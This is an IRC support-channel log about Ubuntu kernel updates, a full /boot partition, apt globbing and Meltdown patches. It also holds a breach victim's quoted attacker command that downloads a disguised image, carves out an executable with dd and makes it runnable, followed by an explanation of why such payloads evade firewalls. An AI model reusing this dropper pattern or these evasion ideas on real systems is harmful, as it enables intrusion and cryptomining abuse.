[16:54] <leftyfb> m00n_urn: https://askubuntu.com/questions/670509/error-parsing-pcc-subspaces-from-pcct-acpi-pcc-probe-failed
[16:54] <JonelethIrenicus> nacc: anyway to get a list of packages installed from a certain source?
[16:54] <leftyfb> m00n_urn: and you have zero patience so you don't get the answer
[16:54] <nacc> JonelethIrenicus: there is, but i forget how exactly, maybe alkisg remembers?
[16:57] <JonelethIrenicus> synaptic package manager gets a nice list some how
[16:57] <JonelethIrenicus> it would just be great if I could get that list into a terminal and then I could also get the list of packages it intends to remove and after I remove them I could just copy and paste and reinstall once it removes them all
[16:58] <B14CK-SPID3R> can anyone answer this question please ? https://paste.ubuntu.com/26361023/  Thanks.
[17:00] <zomaar> JonelethIrenicus: You could
[17:00] <zomaar> JonelethIrenicus: What component did you want to remove?
[17:01] <kimoto> how to join #bitme channel
[17:02] <zomaar> JonelethIrenicus: You don't have Apt::Default-Distribution set right
[17:02] <www2> hi i wand to know is there a delay for end of life of ubuntu 17.04 du to the bios bug in 17.10?
[17:03] <zomaar> www2: I'm afraid the 17.04 is now already early EoL
[17:03] <zomaar> *kernel
[17:03] <nacc> www2: no, 17.10 isos are being respun
[17:03] <www2> oke
[17:03] <alkisg> JonelethIrenicus: afaik ppa-purge can be used even on non-ppa sources
[17:03] <www2> thx
[17:04] <JonelethIrenicus> alkisg: yeah that is what i read but couldn't figure out how
[17:04] <JonelethIrenicus> alkisg: normally the ppa has a nice name like url/repo/name
[17:04] <JonelethIrenicus> alkisg: this is just url
[17:04] <JonelethIrenicus> so i am confused by that
[17:05] <alkisg> I started coding a script for "removing any source you like; then revert to the stock versions"... but I haven't finished it yet :(
[17:05] <alkisg> It would help a lot in such cases
[17:05] <jyc> has anyone gotten graphics switching to work on 17.10 with Wayland?
[17:06] <JonelethIrenicus> alkisg: sounds like an awesome project
[17:06] <JonelethIrenicus> alkisg: i am just gonna do the annoying task of removing everything and reinstalling everything
[17:06] <brainwash> jyc: you encountered some issue?
[17:06] <jyc> brainwash: well, I haevn't been able to get it to work :)
[17:06] <JonelethIrenicus> alkisg: ill be back with how it goes (or will i :D haha)
[17:06] <jyc> haven't*
[17:07] <brainwash> jyc: so, you can share some error message?
[17:07] <jyc> brainwash: there is no error message; all that I can observe is that nothing happens
[17:07] <brainwash> jyc: how do you test?
[17:08] <jyc> brainwash: I run DRI_PRIME=1 glxinfo, but only the intel card shows up
[17:08] <jyc> brainwash: the Nvidia control panel allows me to switch to run with Nvidia, but then I can't log in; it looks like the proprietary drivers don't support Wayland yet
[17:08] <brainwash> jyc: that is correct
[17:09] <jyc> brainwash: do you know if it's possible to run an application through XWayland, though, using the NVidia proprietary drivers?
[17:09] <wh0rd> hey all, what's the best PDF editor for Ubuntu?
[17:09] <jyc> there doesn't seem to be any documentation on this, and this wasn't mentioned in any release notes, so I didn't find out until upgrading
[17:09] <jjbuggle> !mint
[17:10] <www2> nacc i can not see the cd image on the site.
[17:10] <brainwash> jyc: dunno. however, with nvidia it's probably best to stick with Xorg
[17:10] <jyc> brainwash: I see, thanks
[17:10] <brainwash> jyc: stability and performance wise
[17:10] <nacc> www2: yes, they are being respun.
[17:10] <nacc> www2: it would not be a good idea to install the old ISOs
[17:10] <www2> oke
[17:13] <www2> lucky i have an msi laptop but when i hear i the news about the bios/ufi problems is safe than sory
[17:13] <energi>  /join #bash
[17:18] <tasuki_> hi all, I have a strange problem - my external monitor stopped being detected, but _only_ when logged in as myself (on the login screen, there are two monitors, if I log in as guest, it sees both)
[17:19] <tasuki_> ubuntu 16.04
[17:19] <sruli> i setup pass as password manager, i want to use it over ssh, how do i make the passphrase prompt be asked in terminal instead of gui popup?
[17:20] <sruli>  tasuki_: maybe settings were changed in your account, did you check display settings?
[17:21] <tasuki_> yes, I'm sure settings were changed in my account, but I'm not sure which settings
[17:21] <tasuki_> the "Screen Display" thing sees the second monitor, but nothing is ever displayed on the second monitor
[17:22] <tasuki_> I tried randomly deleting hidden dirs from my home dir to no avail
[17:22] <sruli> tasuki_: when you select that display in screen display settings what options do you get?
[17:23] <tasuki_> I can turn it on, but it never displays anything
[17:23] <sruli> tasuki_: just blank background or black as if off?
[17:24] <sruli> tasuki_: what are you expecting to see on that screen?
[17:24] <tasuki_> it is off and says it receives no signal
[17:24] <tasuki_> when I log out it turns on
[17:25] <zomaar> tasuki_: Can you try to run "xrandr --auto" for kicks?
[17:26] <tasuki_> zomaar, hey that helped!
[17:26] <tasuki_> thanks!
[17:26] <zomaar> Yes but it is not persistent
[17:26] <zomaar> Maybe sruli knows the real answer
[17:27] <sruli> i dont ^
[17:29] <tasuki_> sruli, why do you want "pass" to ask in terminal instead of gui popup?
[17:29] <sruli> tasuki_: using over ssh and dont want to use X
[17:30] <tasuki_> I've never used pass, so not sure how it works - is it something you have installed on the ssh client or the server?
[17:30] <tasuki_> if it's on the server you shouldn't be getting a popup :)
[17:31] <tasuki_> perhaps you need a terminal-based keyring?
[17:31] <Richard_Cavell> Thought you might be interested: My machine is now 2.4% slower at compiling after the Spectre/Meltdown patches: https://twitter.com/Richardcavell/status/951144199193333760
[17:31] <zomaar> tasuki_: If you use ssh -X you will get X-forwarding
[17:35] <B14CK-SPID3R> which of these drivers is more compatible for GTX Nvidia 960M ? https://launchpad.net/~graphics-drivers/+archive/ubuntu/ppa/+packages
[17:35] <nacc> Richard_Cavell: #ubuntu-hardening is probably a better location to mention that
[17:36] <BluesKaj> B14CK-SPID3R, optimus hybrid gpu system ?
[17:37] <sruli> nacc: dont think it will help, slower is what it's gonna be
[17:37] <B14CK-SPID3R> BluesKaj : https://paste.ubuntu.com/26361023/
[17:37] <nacc> sruli: i mean it's offtopic here
[17:37] <sruli> nacc gotcha
[17:39] <jyc> well, managed to "almost" get bumblebee working by editing the configuration, but now I get the error Cannot access secondary GPU ... 'Failed to load module "intel"'
[17:39] <jyc> has anyone seen something like this?
[17:40] <sruli> just tested pass over ssh it automatically prompts in terminal, so all good
[17:41] <V7> Hey all
[17:41] <V7> Why this one doesn't work: rm -rf "/var/cache/apt/archives/*"
[17:42] <V7> Files stay there even if it was executed
[17:42] <zomaar> V7: The * is not allowed to be in quotes
[17:43] <slee> hi, is this .109 kernel update a complete fix for the latest exploits or partial fix?
[17:43] <zomaar> V7: You can do "/var/cache/apt/archives"/* if you must
[17:44] <zomaar> V7: Or "/var/cache/apt/archives/"*
[17:46] <V7> I'll try now
[17:47] <nacc> slee: #ubuntu-hardened please
[17:47] <V7> Worked
[17:47] <V7> THank you very much ! zomaar ! Why it doesn't allowed ?
[17:48] <BluesKaj> B14CK-SPID3R, paste the output of this command, sudo lshw -C video
[17:48] <nacc> V7: it's allowed, it just doesn't do what you want
[17:48] <nacc> V7: read `man bash` about shell globbing and what quotes do
[17:48] <V7> It's like a literal * ?
[17:48] <zomaar> V7: If the quotes did that, you couldn't prevent * from being expanded by the shell if you didn't want it to.
[17:49] <zomaar> Yes
[17:50] <V7> Thank you zomaar
[17:51] <zomaar> V7: With "apt list linux*" it must be inside
[17:52] <zomaar> V7: So   apt list "linux*"
[17:52] <zomaar> V7: because apt processes literal
[17:52] <hggdh> or apt list linux\*
[17:53] <V7> apt list "linux\*" ?
[17:53] <zomaar> No not both, he confuses the issue
[17:53] <V7> So "linux*" won't work ... am I rigth ?
[17:54] <zomaar> No it will
[17:54] <V7> hm
[17:54] <zomaar> apt is different
[17:54] <V7> It's going through letters ?
[17:54] <zomaar> * is for on the filesystem
[17:54] <V7> Like there's custom text algo ?
[17:55] <zomaar> yes
[17:55] <V7> Roger that. So rm uses shell's text's algo
[17:55] <zomaar> yes
[17:55] <V7> Thank you zomaar :)
[17:55] <zomaar> correct
[17:56] <Random832> uh
[17:56] <Random832> you guys know that apt uses regex, right?
[17:56] <Random832> (unless the string has *no* regex metacharacters)
[17:56] <zomaar> That's what he was saying
[17:57] <Random832> wait what apparently it doesn't
[17:57] <Random832> that's weird, apt-get does.
[17:58] <Random832> when you apt-get remove 'something' it treats 'something' as an unanchored regex if it contains so much as a dot
[17:58] <Random832> surprised apt list doesn't use the same rules
[18:08] <zomaar> Random832: That would be annoying though
[18:08] <zomaar> Random832: In regex "linux*" would be "linuxxxxxxx"
[18:10] <Random832> zomaar, it is annoying. it's more annoying for it to be inconsistent between tools though. I already learned I have to use regex with apt-get.
[18:11] <Random832> (yes but it's also 'linu')
[18:12] <hggdh> Random832: I think apt list got the syntax from dpkg-query, using shell globbing
[18:12] <zomaar> Random832: I know
[18:12] <zomaar> Oh wait maybe I was bitten by that....
[18:13] <hggdh> and yes, it would be better (I think) it it was standardised
[18:13] <zomaar> YES I HAVE BEEN BITTEN BY THAT :p.
[18:13] <zomaar> Haha
[18:13] <zomaar> Sory
[18:13] <zomaar> I have definitely been bitten by "apt-get remove bla*" doing much more than I intended because it left off the last character
[18:14] <zomaar> So thank you for that
[18:15] <Random832> yeah got to do '^bla.*'
[18:15] <Random832> or heck just '^bla' would work in your case
[18:15] <zomaar> Yes
[18:15] <Random832> since it is unanchored (which makes it so much more likely to bite people than otherwise)
[18:15] <zomaar> Yes you're right.
[18:16] <zomaar> I never understood why it did that, now I know.
[18:17] <Random832> really it should warn you if the regex ends with '*', because it's unnecessary in the legitimate case due to being unanchored
[18:18] <zomaar> Or just anchor it in that sense
[18:18] <zomaar> I wonder how much would depend on such a feature as now it is
[18:20] <netmaniack> Hello. I just got situation whit updates, kernel updates. Situation is quite intense as it is a mail server for a small company and I have remote access only rigt now. I believe that problem caused using apt-get insted apt, according to searches online. What to do? I'm new to this. Does server will boot after restart? https://paste.ubuntu.com/26361576/
[18:22] <zomaar> netmaniack: No console access?
[18:22] <nacc> netmaniack: you're out of disk space
[18:22] <nacc> because you're ignoring the messages from apt
[18:22] <nacc> which tell you to clean up packages
[18:22] <nacc> probably your /boot is full
[18:22] <netmaniack> No, it is basic server, My fist one on custom build PC.
[18:23] <netmaniack> I just read that too. apt autoremove will sole that?
[18:23] <netmaniack> I will check partition right now.
[18:25] <netmaniack> Yes, it can be full right now.
[18:25] <netmaniack> 82% before kernel update.
[18:25] <nacc> netmaniack: it's possible that /boot is too full for autoremove to proceed, but you can try it
[18:25] <nacc> netmaniack: if it doesn't work, you'll need to manually free up some space (an old initrd is the easiest thing) and tehn run autoremove
[18:26] <CrazySane> I've reviewed the KB article, but I must admit to being a little confused. I seem to be able to expect updates for my Ubuntu installations, but my Kernel versions don't match the KB article. I have a 16.04 system running 3.5.0-47 and a 17.10 running 4.13.0-21-generic. apt-get dist-upgrade reports nothing.
[18:26] <netmaniack> Im not removing old packages as I dont well confirtable this it, but if nothing will happen I will remove them.
[18:26] <CrazySane> apt-mark showhold reports nothing
[18:27] <nacc> CrazySane: 3.5.0-47 is absoltuely not an ubuntu kernel
[18:27] <nacc> netmaniack: they are unused
[18:27] <nacc> netmaniack: if you dojn't remove them, your system will not work
[18:27] <nacc> netmaniack: you're out of space in /boot
[18:27] <CrazySane> nacc: well, how the heck did I do that one?
[18:27] <nacc> CrazySane: is it a VPS?
[18:27] <CrazySane> Yea
[18:28] <nacc> CrazySane: VPS are not necessarily ubuntu
[18:28] <nacc> CrazySane: even if they claim to be
[18:28] <CrazySane> I'm showing my lack of understanding here, I can tell.
[18:28] <nacc> particularly if containerized or so
[18:28] <nacc> CrazySane: they don't want you messing with the kernel(s)
[18:28] <CrazySane> It's QEMU/KVM
[18:28] <netmaniack> nacc: and autoremove will clean up space there?
[18:29] <netmaniack> I got this back after autoremoving https://paste.ubuntu.com/26361651/
[18:29] <nacc> CrazySane: well, their image may not be the same as what is actuallyh ubuntu
[18:30] <nacc> netmaniack: it looks like it removed some?
[18:30] <nacc> netmaniack: run it again?
[18:30] <nacc> netmaniack: or at this point, you should be able to run the normal `sudo apt-get -f install`
[18:32] <netmaniack> I ran again ang got this https://paste.ubuntu.com/26361663/ . it looks ok, but I dont know for sure.
[18:32] <netmaniack> Now apt update returns that everithing is installed and ok, as usual would be.
[18:33] <CrazySane> nacc: linux-image-3.5.0-47-generic/now 3.5.0-47.71~precise1 amd64 [installed,local]
[18:33] <alkisg> netmaniack: ls -l /boot | nc termbin.com 9999
[18:33] <alkisg> netmaniack: what's the output of that, now?
[18:33] <nacc> netmaniack: i need to step away, alkisg can help
[18:33] <zomaar> netmaniack: But there is a risk that your system won't boot if you installed the new kernel
[18:33] <nacc> CrazySane: uh, precise kernel on a xenial host? i'd talk to your VPS
[18:34] <zomaar> netmaniack: I would absolutely not recommend upgrading your kernel now if you can't reach the machine
[18:34] <CrazySane> Nah - you misunderstand me.
[18:34] <CrazySane> I've messed this up
[18:34] <CrazySane> It's my VM Host.
[18:35] <netmaniack> Got this https://paste.ubuntu.com/26361670/ on ls -l /boot.
[18:35] <alkisg> CrazySane: did you install 12.04 or 12.10 and at the end upgraded to 16.04?
[18:35] <zomaar> netmaniack: Honestly the best thing you can do if you want a bootable system is upgrade to 4.13 first
[18:35] <netmaniack> zomaar: thats what I'm afraid the most.
[18:35] <CrazySane> alkisg: yes - apparently I hosed that process back then.
[18:35] <alkisg> CrazySane: yeah that kernel then is a leftover which should be removed
[18:35] <zomaar> netmaniack: the 4.4 kernel had boot issues after the patch
[18:36] <Cerv4> anyone around who knows his way around libinput configurations?
[18:36] <zomaar> netmaniack: If you want to remain on the old kernel, you can specify it in GRUB_DEFAULT in /etc/default/grub
[18:36] <CrazySane> alkisg: proper process for swapping it? I guess I just assumed dist-upgrade would have handled this?
[18:36] <zomaar> netmaniack: But the 4.13 is also patched and appears to have no boot issues
[18:36] <alkisg> CrazySane: I haven't followed up the discussion, so start with: dpkg -l '*linux*'|grep ^ii|nc termbin.com 9999
[18:36] <zomaar> netmaniack: I would not risk having an unbootable system if I was you
[18:37] <alkisg> netmaniack: the stock 4.4 kernel should also be available
[18:37] <CrazySane> http://termbin.com/wd3k
[18:37] <alkisg> You can install that one if you're afraid of boot issues but don't want to go to 4.10 which is -hwe
[18:38] <alkisg> CrazySane: eh... and, lsb_release -d ?
[18:38] <netmaniack> zomaar: I use auto updates because of security and automation. Might not be the best solutions. So what can I do now? GRUB_DEFAULT in /etc/default/grub ? And how to do that.
[18:38] <CrazySane> alkisg: http://paste.ubuntu.com/26361691/
[18:38] <zomaar> netmaniack: Maybe follow alkisg advice and go back to older kernel
[18:39] <zomaar> netmaniack: But, if you are careful /etc/default/grub might work in one go
[18:39] <alkisg> CrazySane: ok, your system is crazy. Before removing the older kernel, let's make sure it boots with the new one. sudo apt install linux-generic
[18:39] <alkisg> CrazySane: pastebin the output before pressing yes
[18:40] <netmaniack> zomaar: Im afraid that I can sqrev that up. How can I revert to old kernel?
[18:40] <zomaar> is 108 pre patch?
[18:40] <CrazySane> alkisg: ah. I'm on production time right now, so I can't shutdown the guests atm.
[18:40] <alkisg> CrazySane: ok; do that command, do the pastebin, then press cancel
[18:41] <alkisg> netmaniack: https://packages.ubuntu.com/search?keywords=linux-image-generic
[18:41] <alkisg> You can install 4.4.0.21.22 [ports]: arm64 armhf ppc64el s390x  as a fallback
[18:41] <alkisg> I.e. sudo apt install linux-image-generic=4.4.0.21.22
[18:41] <alkisg> Put the output to pastebin before pressing yes
[18:41] <CrazySane> alkisg: https://paste.ubuntu.com/26361710/
[18:42] <whitebeast> is there a way to use extra mouse buttons on ubuntu? fourms/youtube/google doesnt have much
[18:42] <alkisg> CrazySane: seems fine, do it when you are able, and see if it boots with that
[18:43] <CrazySane> alkisg: Awesome. I'll do it in a few hours when the offices close. Crazy, any idea why the package is held back?
[18:43] <netmaniack> alkisg: https://paste.ubuntu.com/26361714/
[18:43] <alkisg> CrazySane: for some reason, which you can find in your apt history log, you completely removed the kernel metapackage
[18:43] <zomaar> netmaniack: 4.4.0.21 is the olderst kernel still available (stock kernel as alkisg calls it)
[18:43] <alkisg> netmaniack: press ctrl+c. Don't accept that.
[18:43] <Zaliek> So I need to update from 17.04 to 17.10 but I'm wondering if the removal of unity is going to screw up my system. Do upgrades work all right or do I need to do a clean install?
[18:43] <CrazySane> alkisg: YAY for stupidity! Thanks again.
[18:43] <alkisg> I'll give you a better command
[18:44] <netmaniack> alkisg: ok
[18:44] <alkisg> netmaniack: sudo apt install linux-image-4.4.0-21-generic linux-image-extra-4.4.0-21-generic
[18:44] <CrazySane> New question: Ubuntu 10.10, Kernel 4.13.0-21-generic? Should I be expecting something other than that?
[18:44] <CrazySane> hah - 17.10*
[18:44] <alkisg> netmaniack: this will keep the mostrecent kernels, and only add a third fallback one
[18:45] <zomaar> the other one did the same didn't it?
[18:45] <alkisg> CrazySane: you are on 16.04, I'm not sure what the question about 17.10 means
[18:45] <zomaar> but linux-image-generic would get upgraded again
[18:45] <CrazySane> alkisg: new question, new system.
[18:45] <alkisg> zomaar: no, the other one would remove the latest kernel, which may boot
[18:45] <netmaniack> alkisg: That means that automatic updates will continue to work as expected? Using Unattended-upgrades or maybe this is a good time to stop.
[18:46] <alkisg> netmaniack: upgrades will continue to work as usual. That "stock" kernel will never get autoremoved, you'll need to manually remove it.
[18:46] <zomaar> netmaniack: I would not try to boot the newest kernel remotely
[18:46] <alkisg> CrazySane: the kernel versions page ubuntu series is in https://packages.ubuntu.com/search?keywords=linux-image-generic
[18:47] <alkisg> *per
[18:47] <zomaar> netmaniack: You must either remove the newest kernels or do the /etc/default/grub trick
[18:47]  * alkisg didn't know that netmaniack only has remote access to his system
[18:48] <netmaniack> zomaar: now Im confused to be honest.
[18:48] <zomaar> Yeah only SSH
[18:48] <alkisg> zomaar: I don't think he's able to remove the running kernel in any case
[18:48] <netmaniack> alkisg: Yes, that is true. ssh for now, till 6day.
[18:48] <alkisg> netmaniack: what's the output of uname -r ?
[18:48] <zomaar> No sorry alkisg was mistaken
[18:49] <netmaniack> Thats ok.
[18:49] <netmaniack> alkisg: 4.4.0-108-generic
[18:49] <alkisg> netmaniack: well then 108 boots for you
[18:49] <alkisg> No need to get that extra cautious
[18:50] <netmaniack> I got that, tried upgrade to latest one oand got out of disk space.
[18:50] <alkisg> You're already booted with the "possibly problematic" kernel
[18:50] <zomaar> Oh is that so
[18:50] <alkisg> I'd just reboot if I were you, I've no reason to believe that 109 won't work for you
[18:50] <zomaar> I was unsure about that
[18:51] <zomaar> netmaniack: So you already booted after the upgrade?
[18:52] <netmaniack> zomaar:  I tried to upgrade to a newer (109 I believe) and got this error. After that I'm here. i havent rebooted yet.
[18:52] <zomaar> netmaniack: No but 108 must be newer than a few days, so You have already rebooted within the last few days
[18:53] <alkisg> uptime will tell
[18:53] <netmaniack> I have rebooted before that. Maybe Im confused, a "bit" stressed now. I wont risk downtime for company.
[18:54] <alkisg> netmaniack: afaik you're just fine, and you only need to remove the "stock" kernel whenever you like
[18:54] <zomaar> netmaniack: Can you still run "uptime"? But you don't have to reboot now
[18:54] <alkisg> netmaniack: sudo apt purge linux-image-4.4.0-21-generic linux-image-extra-4.4.0-21-generic
[18:54] <zomaar> netmaniack: You can just wait just fine
[18:55] <ioria>  both 108 and 109 look  problematic: 108 - https://askubuntu.com/questions/994067/kernel-panic-after-update-to-4-4-0-108-generic    - 109 - https://usn.ubuntu.com/usn/usn-3522-3/
[18:56] <netmaniack> alkisg: I didn't installed it, I canceled as told. Will lookup that kernels are installed now.
[18:56] <alkisg> ioria: doesn't the second link say that 109 fixes the 108 regression?
[18:56] <ioria> alkisg, "Unfortunately, that update introduced
[18:56] <ioria> a regression where a few systems failed to boot successfully."
[18:57] <zomaar> ioria: That was the previous one
[18:57] <ioria> mmm
[18:57] <alkisg> ioria: eh, my english tell me "108 introduced that boot regression, 109 fixed it"
[18:57] <ioria> alkisg, mine says 109 fixes meltdow, but ... with a regression
[18:58] <netmaniack> alkisg: https://paste.ubuntu.com/26361793/ no 21.
[18:58] <zomaar> netmaniack: Just don't reboot, sleep on it, let the system run, you 'e in no rush
[18:58] <ioria> alkisg, that's why the title is ' Linux kernel regression'
[18:59] <zomaar> ioria: 108 caused the regression
[18:59] <netmaniack> zomaar: till 6day? Whitout reason I wont there. Maybe I cant even at that day. Well, I need to remove autoreboot till then.
[18:59] <ioria> we'ew ok then
[19:00] <ioria> we're
[19:00] <zomaar> netmaniack: Most systems don't ever reboot
[19:00] <zomaar> netmaniack: If you are on 108 you should be fine
[19:01] <zomaar> netmaniack: I mean alkisg is probaby right, and 109 would also boot fine, but I would disable autoreboot and just let the system run for now
[19:03] <netmaniack> zomaar: I know that they dont reboot and linux is not required that often. Only kernel and a few more libs far as I have read. I will left it alone for now.
[19:05] <netmaniack> It would be nice to know about all this system - new, old kernels filling up boot partion. I created it size as I read on guides, ubuntu original article as I created software raid.
[19:08] <netmaniack> A quick question more. Is it safe to use autoremove? Server don't have othen anything new as mail server and a small site is all that is needed. autoremove fills up whit those kernels only. I have experiance whit desktop version when autoremove removed something needed to some program lib. Or maybe it was apt remove...? Still new to this.
[19:09] <netmaniack> I always create virtual mashine and test everything there. If something breaks I roll back. :D
[19:12] <on3pk> netmaniack: hey curious, are thin clients getting better?
[19:13] <Zaliek> It's possible for autoremove to remove something it shouldn't but that usually happens when you're installing deb files or have a broken package
[19:13] <on3pk> Like way back in the day, I used a system where it was "kinda" thin.  It ran a lot of applications locally because the server couldn't handle cad or any sort of rendering
[19:13] <on3pk> I mean, if you know...
[19:14] <alkisg> on3pk: ltsp.org is just fine :)
[19:15] <netmaniack> on3pk: Too much information for today.
[19:15] <netmaniack> Zaliek: Tnx. I use only apt.
[19:15] <netmaniack> Zaliek:  For thsi server.
[19:15] <netmaniack> *this
[19:15] <on3pk> alkisg: thanks, I'll look into that
[19:17] <alkisg> netmaniack: apt autoremove is fine for kernels etc
[19:17] <netmaniack> I though something like ltsp.org when on3pk asked. I'm not into this, atleast for now...
[19:17] <alkisg> even on servers
[19:18] <netmaniack> alkisg: That iss good, tnx.
[19:20] <netmaniack> One more question. How do You make server backup? I have setup Rsnapshot as server cant go offline and automating is important. I backup mail folders and most important programs.
[19:20] <netmaniack> I will check console access as I start to see its need.
[19:21] <truthseeker1990> I have a question thats not strictly to do with ubuntu. MY EC2 Instance was just breached. I know the guy ran this wget command on my machine. Can anyone explain what all the little flags do? Can anyone give me some idea of what the command does over all?
[19:21] <truthseeker1990> wget -c http://imgur.com/testimage.png -O test.jpg;dd skip = 20656 bs = 1 if=./test.jpg of=x12345;rm -f ./test.jpg;chmod 700 ./x12345
[19:21] <zomaar> netmaniack: There are other remote monitors but I am unfamiliar with them
[19:21] <truthseeker1990> This is the command, the image link of course is a dummy one
[19:21] <zomaar> netmaniack: Those are small boxes you attach to the router and that can give you SSH console access
[19:22] <zomaar> netmaniack: Err, to the server
[19:22] <sruli> is it possible to use "pass" in portable mode? i want the key and pass store on a flash drive and be able to add / view directly on drive without needing to import gpg key
[19:22] <alkisg> truthseeker1990: he had encapsulated an executable in a .jpg image so that it's not easily discoverable
[19:22] <netmaniack> truthseeker1990: I will ask it in different channel then.
[19:22] <alkisg> Then he extracted it with dd
[19:22] <truthseeker1990> what does dd do?
[19:22] <alkisg> it copies on a byte level
[19:23] <truthseeker1990> what about the rest of the flags? of? if?
[19:23] <truthseeker1990> Is the command essentially extracting the executable inside the image, and then changing its permission?
[19:23] <alkisg> skip means the 'virus' was positioned at byte 20656 of the image
[19:24] <alkisg> bs=byte size one
[19:24] <alkisg> if=source file
[19:24] <alkisg> of=destination, where to write the virus
[19:24] <zomaar> truthseeker1990: Not inside the image, the image was an executable, he copied it
[19:24] <alkisg> zomaar: no, the virus was inside the image
[19:24] <zomaar> truthseeker1990: Oh wait you're right
[19:24] <zomaar> sorry
[19:24] <alkisg> To hide it
[19:24] <zomaar> Yeah
[19:24] <zomaar> Too tired
[19:25] <truthseeker1990> Is this normal practice or something new? To hide an executable inside the image I mean?
[19:25] <zomaar> truthseeker1990: It is pretty common
[19:25] <alkisg> There are methods to write data into images, but not like this, this means that the image wasn't a valid image
[19:25] <truthseeker1990> Also, if I happened to open the image in the browser, would that have any effect?
[19:25] <alkisg> So it was not a real .jpg at all, it would show up as corrupted
[19:26] <truthseeker1990> Nop, it was a nude of scarlett johannsen lol
[19:26] <truthseeker1990> I went to the link
[19:26] <truthseeker1990> coz I am stupid
[19:26] <alkisg> That doesn't matter, it was not designed to run via visiting it
[19:26] <zomaar> truthseeker1990: What sometimes happens is that a breach writes data at the end of an image and then the image is downloaded off your server by a remote hacker
[19:27] <alkisg> And a good viewer would tell you at least about the size mismatch
[19:27] <zomaar> truthseeker1990: But this is a bit odd because there is little reason to download this remote image first
[19:27] <truthseeker1990> Why do you say that zomaar?
[19:27] <wasutton3> so ive added a /dev/shm line to the fstab, but its still being reported as 5.8G in size vs the 10G i specified
[19:27] <zomaar> truthseeker1990: Well apparently this hacker just abused imgur for storing the virus in a trustworthy way
[19:28] <truthseeker1990> What options could he have other than trying to deliver it this way? He only had access to my instance via a Postgresql service that he compromised, maybe thats the reason??
[19:28] <zomaar> truthseeker1990: Others may use it to extract data FROM your site
[19:28] <Zaliek> Storing something in an image is not the same as exploiting an image parser to trick it into running code stored in the image file
[19:28] <zomaar> truthseeker1990: No wget should always work
[19:28] <truthseeker1990> He opened a stratum+tcp port. stratum is a bitcoin mining protocol
[19:29] <zomaar> truthseeker1990: I don't know why he chose this delivery
[19:29] <truthseeker1990> I guess he was just using the image in a weird way, he could have a googledrive link with the actual code as well, and that would work too
[19:29] <zomaar> truthseeker1990: But imgur is a public site and you can easily store something there
[19:29] <alkisg> truthseeker1990: google drive isn't anonymous
[19:29] <truthseeker1990> True
[19:30] <truthseeker1990> zomaar doesnt that answer it? It was easy to store something there?
[19:30] <zomaar> truthseeker1990: I think so
[19:30] <Zaliek> However if someone is blocking all sites except a few, and an attacker wants to download code onto your computer then storing a payload in a file on a service that's not blocked would make sense
[19:31] <truthseeker1990> ANother good point
[19:31] <zomaar> truthseeker1990: And you could even be having a firewall that would scan executables but skip this one
[19:31] <Zaliek> Like a lot of fancy firewalls auto block known malware domains
[19:32] <Zaliek> There's also stenography where you can embed data into an image in a way that it is not easily detectible
[19:32] <alkisg> It usually requires a client program to extract it though
[19:32] <Zaliek> rather than just adding extra bytes to the file
[19:33] <Zaliek> I'm reminded of that one hack of a government hacking company (forget the name) where they used DNS packets to exfiltrate data
[19:34] <Zaliek> There are many ways to get around the simplistic security systems commonly deployed
[19:34] <oerheks> guys lets get back to ubuntu support please, thanks.
[19:36] <ppf> i'm using setxkbmap to set some stuff for my keyboard
[19:36] <ppf> but whenever i unplug it and plug it back in, that setting is gone
[19:36] <ppf> is there a way to have this persist?
[19:36] <mad_lion> русские есть?))
[19:36] <Zaliek> Sorry. I still was hoping for an answer on my question. How does the upgrade from Unity to Gnome work? Is there a lot of configuration that needs to be redone after the upgrade?
[19:36] <nicomachus> Zaliek: that all comes down to personal taste.
[19:37] <nicomachus> Zaliek: it works out of the box, but if you want to make changes to the UX you can.
[19:37] <leftyfb> mad_lion: /join #ubuntu-ru
[19:37] <nicomachus> !ru | mad_lion
[19:37] <alkisg> ppf, what setting? Can you give the exact command line you're using?
[19:38] <Zaliek> So there's no conversion scripts? It's the same as just installing and switching to gnome?
[19:38] <ppf> alkisg: setxkbmap -symbols "pc+us+inet(evdev)+level3(ralt_switch)+eurosign(e)+capslock(escape)+mine"
[19:39] <leftyfb> Zaliek: technically, both Unity and Gnome(Shell) are both Desktop Environments. You can install both or either. Neither is an "upgrade".
[19:39] <alkisg> ppf: the normal way to configure that is `sudo dpkg-reconfigure keyboard-configuration`, which then is written to /etc/default/keyboard, and is respected by both console and xorg
[19:39] <nicomachus> leftyfb: I think he means the 17.04>17.10 upgrade, which SHOULD have been done already.
[19:40] <rik316> Is there a definitive way to test if your ubuntu install is still vulnerable to spectre/meltdown?
[19:40] <anden> is there an exact list of linux kernel versions that are vulnerable/not vulnerable to meltdown? i've been trying to find one, without success
[19:40] <leftyfb> Zaliek: Ubuntu 17.10 will use Gnome by default with no Unity available(AFAIK). So you might be asking about upgrading from a previous version of ubuntu to 17.10.
[19:40] <alkisg> ppf, I don't think the keyboard-configuration menus have all the options you're using though; maybe you can put them in /etc/default/keyboard anyway
[19:40] <nicomachus> anden: all are vulnerable up to 4.14
[19:40] <rik316> I'm currently using   "grep "cpu_insecure\|cpu_meltdown\|kaiser" /proc/cpuinfo", but that doesn't have any matches on some "supposedly" patched machines
[19:40] <zomaar> https://wiki.ubuntu.com/SecurityTeam/KnowledgeBase/SpectreAndMeltdown
[19:41] <nicomachus> !kpti | anden rik316
[19:41] <anden> nicomachus: i mean one of my systems running 14.04 received a patch and it's still running linux 3.x but it's supposed to be patched from what i've read
[19:41] <nicomachus> rik316: https://github.com/speed47/spectre-meltdown-checker
[19:41] <rik316> ty
[19:42] <oerheks> !kpti
[19:42] <ppf> alkisg: the documentation of that file is somewhat small :/
[19:42] <oerheks> oops, already given
[19:42] <Zaliek> leftyfb, Yes I was asking about the upgrade from 17.04 to 17.10
[19:42] <anden> nicomachus: i was hoping there was a more precise list, like "4.4.0-104 is vulnerable but 4.4.0-109 is not"
[19:42] <zomaar> al dat getover
[19:42] <Guest96> Hi
[19:42] <zomaar> 108 was the first to be patched in 4.4
[19:42] <zomaar> https://wiki.ubuntu.com/SecurityTeam/KnowledgeBase/SpectreAndMeltdown
[19:42] <akik> ppf: there's a way to create udev rules that run commands when some e.g. usb device is connected
[19:43] <zomaar> So from 108 it is patched
[19:43] <Guest96> I'm using kernel "3.13.0-135-generic #184-Ubuntu SMP Wed Oct 18 11:55:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
[19:43] <Guest96> " - how do I update it with the Meltdown patch?
[19:45] <Zaliek> Microsoft's article about it suggests that a microcode update in the BIOS was needed to completely migitate (but it doesn't say if it's for meltdown or spectre)
[19:45] <zomaar> Guest96: linux-image-generic 3.13.0.139.148
